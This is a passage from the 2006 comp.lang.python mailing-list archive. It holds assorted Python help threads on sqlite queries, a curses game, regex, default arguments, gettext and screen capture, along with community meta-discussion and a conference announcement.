Thanks for all the link regarding kamaelia.


From cephire at gmail.com  Fri Oct 13 23:06:58 2006
From: cephire at gmail.com (Joseph)
Date: 13 Oct 2006 20:06:58 -0700
Subject: sqlite & python 2.5
Message-ID: <1160795218.303121.25480@b28g2000cwb.googlegroups.com>

Hi,
I am using python 2.5 under windows. I am trying to do the below:

    cursor.execute("SELECT postid, title, body, teaser, postdate,
posttime, author, status, format, allow_comments, notify_on_comments,
catname \
    FROM ton_posts p, ton_category c \
    where c.catid = p.category and status = 1 and strftime('%Y',
p.postdate) in(?) and strftime('%m', p.postdate) in(?) and c.catid
in(?)\
    order by postdate desc, posttime desc",sqlvars)

print cursor.fetchall()

But it always returns empty (though there is value in db).

For ref:
sqlvars = ("select distinct strftime('%Y',postdate) from ton_posts",
"select distinct strftime('%m',postdate) from ton_posts", 'select catid
from ton_category')

Is there anyway I can find out the sql that gets executed (after the
varible substitution)?

Also can anyone help me out in finding out what is wrong here?

Thanks a lot
Joseph



From tjreedy at udel.edu  Wed Oct  4 20:27:09 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 4 Oct 2006 20:27:09 -0400
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><45240E19.3040000@v.loewis.de>
	<87lknvelb3.fsf@benfinney.id.au>
Message-ID: <eg1jgs$5g3$1@sea.gmane.org>


"Ben Finney" <bignose+hates-spam at benfinney.id.au> wrote in message 
news:87lknvelb3.fsf at benfinney.id.au...
> The whole point of moving *from* SF *to* another bug tracker is to
> improve the situation, surely.

The current situation is that the limitations and intermittant failures of 
the SF tracker sufficiently impede the Python development process that some 
people were motivated to do the work to find a better alternative.

> You already seem to acknowledge that using free-software tools to
> develop Python is desirable.

The committee already said so by saying that with other things equal, it 
would choose Roundup.

> I don't see why you're being so obtuse

I think name calling is out of line here.

Terry Jan Reedy





From rpdooling at gmail.com  Fri Oct 20 10:39:32 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 20 Oct 2006 07:39:32 -0700
Subject: Use I the classes?
In-Reply-To: <mailman.847.1161354281.11739.python-list@python.org>
References: <mailman.847.1161354281.11739.python-list@python.org>
Message-ID: <1161355168.234278.158900@h48g2000cwc.googlegroups.com>

Fulvio wrote:

> Looking for documents (free download) which clearly explain the way of
> programming python classes and lots of examples as a bonus.

http://www.freenetpages.co.uk/hp/alan.gauld/

On the frames page, go down to "Advanced Topics" and "Object Oriented
Programming"

And from the other thread we were on:

> Think of a class as both a "blueprint" for objects and a factory
> creating these objects. The class lets you define the attributes and
> behaviors of it's instances. 

http://tinyurl.com/yd97t5

rd



From Maria.Reinhammar at accalon.com  Thu Oct 12 05:44:06 2006
From: Maria.Reinhammar at accalon.com (MaR)
Date: 12 Oct 2006 02:44:06 -0700
Subject: Experiences with Py2Exe
In-Reply-To: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
Message-ID: <1160646246.284686.260050@b28g2000cwb.googlegroups.com>

We use py2exe on regular basis for most of our app's, both for internal
and external distribution.
We then pack it to an installer using NSIS
(http://nsis.sourceforge.net/Main_Page) which is also free :o)



From Leo.Kislov at gmail.com  Fri Oct 13 08:11:36 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 13 Oct 2006 05:11:36 -0700
Subject: Need a Regular expression to remove a char for Unicode text
In-Reply-To: <1160740503.886428.82340@i3g2000cwc.googlegroups.com>
References: <1160735716.805309.316830@m73g2000cwd.googlegroups.com>
	<1160739866.224070.252590@m73g2000cwd.googlegroups.com>
	<1160740503.886428.82340@i3g2000cwc.googlegroups.com>
Message-ID: <1160741496.228476.318460@i42g2000cwa.googlegroups.com>

On Oct 13, 4:55?am, "Leo Kislov" <Leo.Kis... at gmail.com> wrote:
> On Oct 13, 4:44?am, harvey.tho... at informa.com wrote:
>
> > ????????? wrote:
> > > Hai friends,
> > > Can any one tell me how can i remove a character from a unocode text.
> > > ????&??? is a Telugu word in Unicode. Here i want to
> > > remove '&' but not replace with a zero width char. And one more thing,
> > > if any whitespaces are there before and after '&' char, the text should
> > > be kept as it is. Please tell me how can i workout this with regular
> > > expressions.
>
> > > Thanks and regards
> > > Srinivasa Raju DatlaDon't know anything about Telugu, but is this the approach you want?
>
> > >>> x=u'\xfe\xff & \xfe\xff \xfe\xff&\xfe\xff'
> > >>> noampre = re.compile('(?<!\s)&(?!\s)', re.UNICODE).sub
> > >>> noampre('', x)

> He wants to replace & with zero width joiner so the last call should be
> noampre(u"\u200D", x)

Pardon my poor reading comprehension, OP doesn't want zero width
joiner. Though I'm confused why he mentioned it at all.



From carsten at uniqsys.com  Mon Oct 16 13:10:42 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Mon, 16 Oct 2006 13:10:42 -0400
Subject: Strange Behavior
In-Reply-To: <pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
	<pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
Message-ID: <1161018642.676.34.camel@dot.uniqsys.com>

On Mon, 2006-10-16 at 10:51, Steven D'Aprano wrote:
> On Mon, 16 Oct 2006 07:26:05 -0700, abcd wrote:
> 
> > class Foo:
> >     def __init__(self, name, data=[]):
> 
> The binding of the name "data" to the empty list happens at compile time,
> not runtime.

I think this statement needs to be clarified. The binding of "data" to
the empty list *does* happen at runtime, not at compile time. However,
the binding happens only once, when the "def" statement is executed, as
opposed to every time the __init__ function is called.

-Carsten




From rw at smsnet.pl  Mon Oct  9 16:35:43 2006
From: rw at smsnet.pl (Rob Wolfe)
Date: Mon, 09 Oct 2006 22:35:43 +0200
Subject: A curses-game I need help with.
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
Message-ID: <87lknpp6qo.fsf@smsnet.pl>

"Gasten" <operagasten at gmail.com> writes:

> Can you help?

I'm not a guru on curses by any means, but I've moved one line
of your code and IMHO it works fine now.
Look below for the code I've changed.

> I'll just append all my code here (for anyone to test), so you who
> doesn't want to read this humble beginners code can skip to another
> message. Thank you  for your time.
>
> (So far I've understood, is that iMsg() and updateMsg() is wrong. Line
> 71 and 92.)
>
>
> try:
>     import curses
> except ImportError:
>     print "Missing the Curses-library."
>     print "Please install the curses-library correctly."
>     SystemExit
>
> #---------------------------------------------------------------
>
> class Game:
>     """The Game-object. Controls the windows, global settings and so
> on."""
>     def __init__(self):
>         self.mainwin = curses.initscr()
>
>         ## Some basic settings
>         curses.noecho()
>         curses.cbreak()
>         self.mainwin.keypad(1)
>         curses.curs_set(0)
>
>         self.msg = Msg()
>         self.msg.msg(["Welcome to The Game! Lets watch another fearless
> samurai", "get beaten bloody in the arena!"])
>
>         self.mainwin.addstr(3,15, '+' + '-' * 62 + '+')
>         self.mainwin.addstr(22,15, '+' + '-' * 62 + '+')
>         self.mainwin.vline(4,15, '|', 18)
>         self.mainwin.vline(4,78, '|', 18)
>
>
>     movedir = {
>         'up':           {'x':0, 'y':-1},
>         'down':         {'x':0, 'y':+1},
>         'right':        {'x':+1, 'y':0},
>         'left':         {'x':-1, 'y':0},
>         'downright':    {'x':+1, 'y':+1},
>         'upright':      {'x':+1, 'y':-1},
>         'downleft':     {'x':-1, 'y':+1},
>         'upleft':       {'x':-1, 'y':-1}
>         }
>
>     walls = (
>         ord('|'),
>         ord('+'),
>         ord('-')
>         )
>
> #---------------------------------------------------------------
>
> class Msg:
>     """The messagehandeling and -bar system."""
>     def __init__(self):
>         self.msgs = []
>
>     def printMore(self):
>         # Print the little #More#-sign
>         game.mainwin.addch(1, 71, curses.ACS_BLOCK, curses.A_REVERSE)
>         game.mainwin.addstr(1, 72, "More", curses.A_REVERSE)
>         game.mainwin.addch(1, 76, curses.ACS_BLOCK, curses.A_REVERSE)
>
>     def msg(self, msg):
>         if isinstance(msg, str):
>             self.msgs.append(msg)
>         else:
>             self.msgs = self.msgs + msg
>
>     def ereasMsg(self):
>         for count in range(0,2):
>                 game.mainwin.move(count,0)
>                 game.mainwin.clrtoeol()
>
>     def updateMsg(self):
>         count = len(self.msgs)
>         for msg in self.msgs:               # Print one msg after
> another
>             game.mainwin.addstr(0,0, msg)   # Print the actual message
>             if count > 1:                   # If there are two or more
> laft, print a #More#-sign.
>                 count -= 1
>                 self.printMore()
>                 game.mainwin.refresh()
>                 while 1:
>                     next = game.mainwin.getch()
>                     if next == ord(' '):
>                         self.ereasMsg()
>                         break
>                     else:
>                         continue
>             else:
>                 game.mainwin.refresh()
>
>         self.msgs = [] # When done, kill all messages
>         return True
>
>     def iMsg(self, msg):
>         """Same as msg(), but the screen will refresh instantly.
>         'i' is standing for Interface or Instant message."""
>         if isinstance(msg, str):
>             msg = [msg]             # List'it!
>         count = len(msg)
>         for item in msg:
>             if count > 1:
>                 count -= 1
>                 self.printMore()
>                 game.mainwin.addstr(0,0, item)
>                 game.mainwin.refresh()
>                 while 1:
>                     next = game.mainwin.getch()
>                     if next == ord(' '):
>                         self.ereasMsg()
>                         break
>                     else:
>                         continue
>             else:
>                 game.mainwin.addstr(0,0, item)
>
>         return
>
>
> #---------------------------------------------------------------
>
> class Samurai:
>     """This is the object of the mighty Samurai. Phe4r him. He can
> move.
>     He can spawn. He will be able to kick som robo butt too,
>     but not now."""
>     def __init__(self):
>         ## Configuring game values.
>         self.loc = {
>             "x": 20,
>             "y": 8
>             }
>         self.samuraichar = ord("X")
>
>         # spawn
>         game.mainwin.addch(self.loc['y'], self.loc['x'],
> self.samuraichar)
>
>     def move(self, dir, speed=1):
>         # Move in dir speed number of times.
>         for count in range(1, speed + 1):
>             newX = self.loc['x'] + game.movedir[dir]['x']
>             newY = self.loc['y'] + game.movedir[dir]['y']
>
>             # Checks that all is clear.
>             if game.mainwin.inch(newY, newX) not in game.walls:
>
>                 # Delete old
>                 game.mainwin.addch(self.loc['y'], self.loc['x'], ' ')
>
>                 self.loc['x'] =  newX
>                 self.loc['y'] =  newY
>                 # Create a new character.
>                 game.mainwin.addch(self.loc['y'], self.loc['x'],
> self.samuraichar)
>
>             else:
>                 game.msg.iMsg("You can't go there.")
>                 return
>
> #---------------------------------------------------------------
>
> def main():
>     global game, player
>     game = Game()
>     player = Samurai()
>
>     running = True
>
>
>     while running:
>         key_command = game.mainwin.getch()

          # I've moved erasing messages here
          game.msg.ereasMsg()

>
>         if key_command == ord('8'):  ## Movement-commands
>             player.move('up')
>
>         elif key_command == ord('2'):
>             player.move('down')
>
>         elif key_command == ord('4'):
>             player.move('left')
>
>         elif key_command == ord('6'):
>             player.move('right')
>
>         elif key_command == ord('7'):
>             player.move('upleft')
>
>         elif key_command == ord('9'):
>             player.move('upright')
>
>         elif key_command == ord('1'):
>             player.move('downleft')
>
>         elif key_command == ord('3'):
>             player.move('downright')
>
>         elif key_command == ord('Q'):  ## Exit
>             break
>
>         elif key_command == ord('5'): ## Wait
>             pass
>
>         elif key_command == ord('x'): ## print location
>             game.msg.iMsg("X: " + str(player.loc['x']) + ", Y: " +
> str(player.loc['y']))
>
>         elif key_command == ord('z'):
>             strlist = ""
>             for i in game.walls:
>                 strlist = strlist + str(i) + " "
>             game.msg.iMsg(strlist)
>
>         elif key_command == ord('c'):
>             for count in range(0,2):
>                 game.mainwin.move(count,0)
>                 game.mainwin.clrtoeol()
>
>         else:
>             game.msg.iMsg("That is not a valid command.")
>
>         if len(game.msg.msgs) == 0:     # If there are any msgs.
>             game.mainwin.refresh()
>         else:
>             game.msg.updateMsg()
>
>         game.msg.ereasMsg()

          # I've moved this line
          # game.msg.eraseMsg

>
>
> if __name__ == "__main__":
>     try:
>         import psyco
>         psyco.full()
>     except ImportError:
>         # Don't use something that doesn't exists.
>         pass
>
>     main()
>
> curses.nocbreak(); game.mainwin.keypad(0); curses.echo()
> curses.endwin()
>
>
> (The code is GPL'ed, Martin Ahnel?v 06)
>

-- 
HTH,
Rob


From rhymes at myself.com  Fri Oct  6 09:16:46 2006
From: rhymes at myself.com (Lawrence Oluyede)
Date: Fri, 6 Oct 2006 15:16:46 +0200
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
Message-ID: <1hmsdr1.1n4tyz31i1a7j2N%rhymes@myself.com>

Ilias Lazaridis <ilias at lazaridis.com> wrote:
> and once more: this topic _is_ appropriate for a python / ruby / java
> crosspost.
> 
> really very important (if you don't look to much at the subject but the
> message contents).

I really don't understand why your public announcement should be in
topic in this newsgroup.

-- 
Lawrence - http://www.oluyede.org/blog
"Nothing is more dangerous than an idea
if it's the only one you have" - E. A. Chartier


From __peter__ at web.de  Sat Oct 14 09:26:37 2006
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Oct 2006 15:26:37 +0200
Subject: Reverse string-formatting (maybe?)
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
Message-ID: <egqoee$i81$03$1@news.t-online.com>

Dustan wrote:

> Is there any builtin function or module with a function similar to my
> made-up, not-written deformat function as follows? I can't imagine it
> would be too easy to write, but possible...
> 
>>>> template = 'I am %s, and he %s last %s.'
>>>> values = ('coding', "coded', 'week')
>>>> formatted = template % values
>>>> formatted
> 'I am coding, and he coded last week.'
>>>> deformat(formatted, template)
> ('coding', 'coded', 'week')
> 
> expanded (for better visual):
>>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s
>>>> last %s.')
> ('coding', 'coded', 'week')
> 
> It would return a tuple of strings, since it has no way of telling what
> the original type of each item was.
> 
> 
> Any input? I've looked through the documentation of the string module
> and re module, did a search of the documentation and a search of this
> group, and come up empty-handed.

Simple, but unreliable:

>>> import re
>>> template = "I am %s, and he %s last %s."
>>> values = ("coding", "coded", "week")
>>> formatted = template % values
>>> def deformat(formatted, template):
...     r = re.compile("(.*)".join(template.split("%s")))
...     return r.match(formatted).groups()
...
>>> deformat(formatted, template)
('coding', 'coded', 'week')

Peter


From gagsl-py at yahoo.com.ar  Sat Oct 21 04:28:43 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Sat, 21 Oct 2006 05:28:43 -0300
Subject: Python Source
In-Reply-To: <1161418145.383719.324390@i3g2000cwc.googlegroups.com>
References: <1161418145.383719.324390@i3g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061021052422.04d6b0b8@yahoo.com.ar>

At Saturday 21/10/2006 05:09, ArdPy wrote:

>I am not sure whether this group is the best place to post my thought.
>I will ask neverthless:

I doubt any other group would be better...

>Is it possible to hack through the code written by Guido van Rossum
>that makes the python interpreter. If yes please let me know how to
>begin. If its not then pardon me.

Python is free software - you can read, study, and modify it to your 
own taste (as far as you respect the license).
Start at http://www.python.org


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From paddy3118 at netscape.net  Fri Oct 27 00:19:58 2006
From: paddy3118 at netscape.net (Paddy)
Date: 26 Oct 2006 21:19:58 -0700
Subject: Search & Replace
In-Reply-To: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
Message-ID: <1161922798.727857.238970@e3g2000cwe.googlegroups.com>


DataSmash wrote:
> Hello,
> I need to search and replace 4 words in a text file.
> Below is my attempt at it, but this code appends
> a copy of the text file within itself 4 times.
> Can someone help me out.
> Thanks!
>
> # Search & Replace
> file = open("text.txt", "r")
> text = file.read()
> file.close()
>
> file = open("text.txt", "w")
> file.write(text.replace("Left_RefAddr", "FromLeft"))
> file.write(text.replace("Left_NonRefAddr", "ToLeft"))
> file.write(text.replace("Right_RefAddr", "FromRight"))
> file.write(text.replace("Right_NonRefAddr", "ToRight"))
> file.close()

Check out the Pythons standard fileinput module. It also has options
for in-place editing.

(
http://groups.google.com/group/comp.lang.python/msg/2d88c0f5e17f004e?hl=en&
)

- Pad.



From mail at microcorp.co.za  Fri Oct 20 02:34:00 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 20 Oct 2006 08:34:00 +0200
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu><7iNZg.117$1n3.3352@news.tufts.edu><eh89n4$r5q$1@solaris.cc.vt.edu><pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
Message-ID: <038c01c6f413$1f9a4e00$03000080@hendrik>

 "Brad" <rtilley at vt.edu> wrote:


> Steven D'Aprano wrote:
>
> > Gah!!! That's *awful* in so many ways.
>
> Thanks... I'm used to hearing encouragement like that. After a while you
> begin to believe that everything you do will be awful, so why even
> bother trying?
>
> <rant>
>
> It has been my experience that Python has discouraging forums with
> someone always calling someone else an idiot or telling them they are
> awful in some way. I love Python, but the community is way too negative,
> uptight and generally down on users who do not have PhD's in CS or Math.
>
> Do you have children? How would your child feel if he brought you
> something he had made and you then told him it was awful in *sooo* many
> ways. How does that reflect on you and the community you represent?
>
> Cut people who don't think like you some slack, OK?
>
> </rant>

8<---------------------------------------------

This is kind of sad to see - what seems not be appreciated here is the genuine
effort that was put in by Stephen to critique the piece of code - not just a one
liner putdown, but a reasoned exposition, taking time...

and yes - it hurts at first to have your ego bruised - but look past that - and
see the genuine attempt to help.

- Hendrik




From hanumizzle at gmail.com  Wed Oct 11 01:06:11 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 01:06:11 -0400
Subject: sufficiently pythonic code for testing type of function
Message-ID: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com>

I wrote this for someone else to take an object and list of types,
then check if obj is one of those types, raising an error otherwise.

Is it enough to rely on side effects or absence thereof, or should I
put return True in here somewhere?

def test_obj_type(obj, types):
  for type in types:
    if isinstance(obj, type):
      break
    else:
      raise ValueError, 'object is not in %s' % types

-- Theerasak


From bignose+hates-spam at benfinney.id.au  Thu Oct 12 01:15:55 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 12 Oct 2006 15:15:55 +1000
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<1160629438.895503.225980@c28g2000cwb.googlegroups.com>
Message-ID: <878xjm3yic.fsf@benfinney.id.au>

"werty" <werty at swissinfo.org> writes:

>   Browsers . There will be 2 columns , one on left will be main/orig
> but on the Right will have hyperlink result .  This way ya dont have
>  to go back to compare !   side by side .
>   Text editors will also work this way . You will read orig in left
> columns
>  and 'edit'/annotate  your stuff to the Right columns .

Hmm. Your ideas are intriguing to me and I wish to subscribe to your
newsletter.

-- 
 \       "A celebrity is one who is known by many people he is glad he |
  `\                               doesn't know."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney



From f.braennstroem at gmx.de  Sat Oct  7 05:48:07 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Sat, 7 Oct 2006 11:48:07 +0200
Subject: extract certain values from file with re
References: <eg58u2$333$1@sea.gmane.org>
Message-ID: <eg7t4n$it5$1@sea.gmane.org>

Hi to all,

thanks a lot! I am pretty sure your ideas help :-)



Greetings!
 Fabian



From richard at osdc.com.au  Tue Oct 17 19:28:29 2006
From: richard at osdc.com.au (Richard Jones)
Date: Wed, 18 Oct 2006 09:28:29 +1000
Subject: OSDC 2006's fabulous keynotes
Message-ID: <200610180928.29962.richard@osdc.com.au>

Book before 31st October to save $50 and get a free conference t-shirt!

Registrations are open for the Open Source Developers' Conference 2006:
http://www.osdc.com.au/registration/index.html   The conference is running
in Melbourne from the 6th - 8th December, with a day of tutorials on the
5th.

Keynote talks this year include:

Anthony Baxter:     "futurepython"

import __future__

What does the future hold for the Python language? In this talk, we'll look
at Microsoft's (Open Sourced!) IronPython and show some of the massive fun
coming down the track for scripting languages thanks to .Net and Mono.
We'll also cover Python 3.0 (now under development) and the PyPy (Python,
in Python) project.


Damian Conway:      "The Da Vinci Codebase"

When a dying operating system scrawls his name across its corrupted boot
volume, Dr. Damian Conway, an unassuming college professor, is plunged into
a deadly race against time to solve a series of impossible riddles. What is
the mysterious "Priory of Bios?" And who are their deadly nemeses "Opus
Arai?" On the run from the law and stalked by a ghostly pale killer, will
he unravel the subtle clues hidden in Leonardo's most famous source code
and reveal to the world the incredible secret encrypted in...the Da Vinci
Codebase?


Randal L. Schwartz: "Free software - A look back, a look ahead"

A twenty year history of the free/open software movement, from my
perspective of how to contribute (in many ways!) and how to make money as
well.


Richard Farnsworth: "Open Source Synchrotron"

What is a Synchrotron anyway?  What software needs does it has?  How can
Open Source help solve these?  The Australian Synchrotron achieved first
light in July 2005 almost exclusively filling its software needs through
open source.  The code base has been refined to suit local conditions, and
shared with the rest of the Synchrotron open source community.  By sharing
information, experience and software freely between scientists and
engineers, great design efficiencies have been made further aiding the
development of experimental beamlines.


Be a part of this fantastic conference and help it be the best developers'
conference this year!  If your business would like to benefit from exposure
to many of Australia's best open source developers then perhaps you should
consider sponsorship.  We have a wide range of sponsorship options, to find
out more information please visit:
http://www.osdc.com.au/sponsors/index.html

We look forward to sharing this great conference with you!  Don't forget to
register before 31st October to get a free conference t-shirt.

http://www.osdc.com.au/registration/index.html


-- 
Richard Jones, OSDC 2006 Programme Chair
http://www.osdc.com.au/


From jon+usenet at unequivocal.co.uk  Tue Oct  3 06:11:00 2006
From: jon+usenet at unequivocal.co.uk (Jon Ribbens)
Date: 3 Oct 2006 10:11:00 GMT
Subject: CGI -> mod_python
References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com>
	<1159869566.882970.228690@m73g2000cwd.googlegroups.com>
Message-ID: <slrnei4dpk.fpl.jon+usenet@snowy.squish.net>

In article <1159869566.882970.228690 at m73g2000cwd.googlegroups.com>, Paul Boddie wrote:
>> it is a kind of nooby question. Is there a way to transfer a CGI python
>> script to mod_python without rewriting the code?
> 
> Had you used WebStack [1] to begin with, this migration would involve
> changing a few lines of glue code.

Or Jonpy ;-)

http://jonpy.sf.net/


From __peter__ at web.de  Thu Oct  5 02:13:18 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 05 Oct 2006 08:13:18 +0200
Subject: dictionary of list from a file
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<mailman.1262.1159968035.10491.python-list@python.org>
	<1159992675.176015.248850@c28g2000cwb.googlegroups.com>
Message-ID: <eg27mg$5f3$00$1@news.t-online.com>

sjdevnull at yahoo.com wrote:

> d = {}
> for line in [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]:
>     k,v = line.split()
>     d.setdefault(k,[]).append(v)

Try that with a test.txt where the last line has no newline.

Peter


From fredrik at pythonware.com  Wed Oct  4 15:10:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 21:10:11 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <k3QUg.11$Cr3.3@newsfe03.lga>
References: <dROUg.62$iP5.51@newsfe07.lga>	<mailman.1265.1159970009.10491.python-list@python.org>	<WQPUg.8$Cr3.6@newsfe03.lga>
	<4oi0f3FehgnuU1@uni-berlin.de> <k3QUg.11$Cr3.3@newsfe03.lga>
Message-ID: <eg10uj$adg$1@sea.gmane.org>

Edward K. Ream wrote:

> I'm asking this question because my app needs it :-)  Imo, there is *no* 
> information in any xml file that can be considered irrelvant.

the encoding isn't *in* the XML file, it's an artifact of the 
serialization model used for a specific XML infoset.  the XML
data is pure Unicode.

</F>



From hanumizzle at gmail.com  Sun Oct 22 09:29:41 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 22 Oct 2006 09:29:41 -0400
Subject: Screen capture on Linux
In-Reply-To: <12jkn4veef5ir94@corp.supernews.com>
References: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com>
	<mailman.906.1161450951.11739.python-list@python.org>
	<12jkn4veef5ir94@corp.supernews.com>
Message-ID: <463ff4860610220629l5544a655xefc3ac49070c3932@mail.gmail.com>

On 10/21/06, Grant Edwards <grante at visi.com> wrote:
> On 2006-10-21, Sai Krishna M <saikrishbe at gmail.com> wrote:
> > On 10/21/06, Paolo Pantaleo <paolopantaleo at gmail.com> wrote:
> >> Hi,
> >>
> >> I need to capture a screen snapshot in Linux. PIL has a module
>
> ImageMagick has a command-line program named "import" that you
> might be able to use.

import -window root something.png

You can also try ksnapshot, gnome-panel-screenshor, shutterbug if you
have the FOX toolkit installed, or---ULCH---xwd as a last resort.

-- Theerasak


From gagsl-py at yahoo.com.ar  Fri Oct 13 19:25:19 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 13 Oct 2006 20:25:19 -0300
Subject: wxPython installation interferes with win32ui/win32gui
In-Reply-To: <egp486$jh6$1@ulysses.news.tiscali.de>
References: <egp3j9$jec$1@ulysses.news.tiscali.de>
	<egp486$jh6$1@ulysses.news.tiscali.de>
Message-ID: <7.0.1.0.0.20061013201155.04fb8d40@yahoo.com.ar>

At Friday 13/10/2006 19:33, robert wrote:

> > c:\Python23\pythonw.exe.manifest
> > c:\Python23python.exe.manifest
> >
>
>I found out that in fact when I move away these 2 files to a backup
>location after a wx installation, things go well again.
>
>What at all do this .manifest files do ?
>And why do win32ui apps freak out, when these are present?
>Have post the content of pythonw.exe.manifest below.
>Are wx apps affected in a bad way, if I remove those files for ever?

This manifest file tells Windows how to apply visual styles to the 
application. It's a nightmare to make it work reliably across Windows 
versions. Just delete the .manifeest file and forget about it...


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From eldiener_no_spam_here at earthlink.net  Tue Oct 10 10:29:02 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 14:29:02 GMT
Subject: Python component model
In-Reply-To: <mailman.207.1160485945.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>
	<mailman.207.1160485945.11739.python-list@python.org>
Message-ID: <O6OWg.7467$Y24.4628@newsread4.news.pas.earthlink.net>

Fredrik Lundh wrote:
> "Edward Diener No Spam" wrote:
> 
>> A RAD IDE tool to hook up components into an application or library (
>> module in Python ) has nothing to do with terseness and everything to do
>> with ease of programming.
> 
> python already has excellent and ridiculously easy-to-program ways to hook
> things up.  after all, hooking things up is what python programmers tend to do,
> most of their time.

I agree.

> 
> if you want better support for more precise hooking, post some examples.

I want a design-time environment to hook up my objects in a visual way. 
I think it is easier than doing it manually, even in Python.

> 
>> All you are saying is that you don't have a need for this, but perhaps others do.
> 
> handwavy references to what "other may need" is another thing you should
> avoid if you want your Python change proposal to be successful.

I did not say what "others may need".


From skip at pobox.com  Wed Oct  4 05:31:54 2006
From: skip at pobox.com (skip at pobox.com)
Date: Wed, 4 Oct 2006 04:31:54 -0500
Subject: What kind of program is this
In-Reply-To: <efvqfm$rst$1@sea.gmane.org>
References: <1159938713.660421.276860@m7g2000cwm.googlegroups.com>
	<efvqfm$rst$1@sea.gmane.org>
Message-ID: <17699.32650.749645.679144@montanaro.dyndns.org>


    Fredrik>     http://en.wikipedia.org/wiki/JAPH

That's an interesting JAPH written with only punctuation...

Skip


From martin at v.loewis.de  Sat Oct 28 05:28:28 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 28 Oct 2006 11:28:28 +0200
Subject: gettext on Windows
In-Reply-To: <1162023784.123822.266270@m73g2000cwd.googlegroups.com>
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
	<mailman.1392.1162022981.11739.python-list@python.org>
	<1162023784.123822.266270@m73g2000cwd.googlegroups.com>
Message-ID: <454322BC.8020002@v.loewis.de>

russ.phillips.nospam at googlemail.com schrieb:
> Traceback (most recent call last):
>   File "panicbutton.py", line 36, in ?
>     lan = gettext.GNUTranslations (open (sLang, "rb"))
>   File "C:\Python24\lib\gettext.py", line 177, in __init__
>     self._parse(fp)
>   File "C:\Python24\lib\gettext.py", line 280, in _parse
>     raise IOError(0, 'File is corrupt', filename)
> IOError: [Errno 0] File is corrupt: 'locale\\fr_FR.mo'

If it says so, it likely is right. How did you create the file?

Regards,
Martin


From ilias at lazaridis.com  Thu Oct  5 18:55:07 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 5 Oct 2006 15:55:07 -0700
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <PUeVg.14060$5o5.12327@tornado.texas.rr.com>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
Message-ID: <1160088907.689743.252500@m7g2000cwm.googlegroups.com>

Paul McGuire wrote:
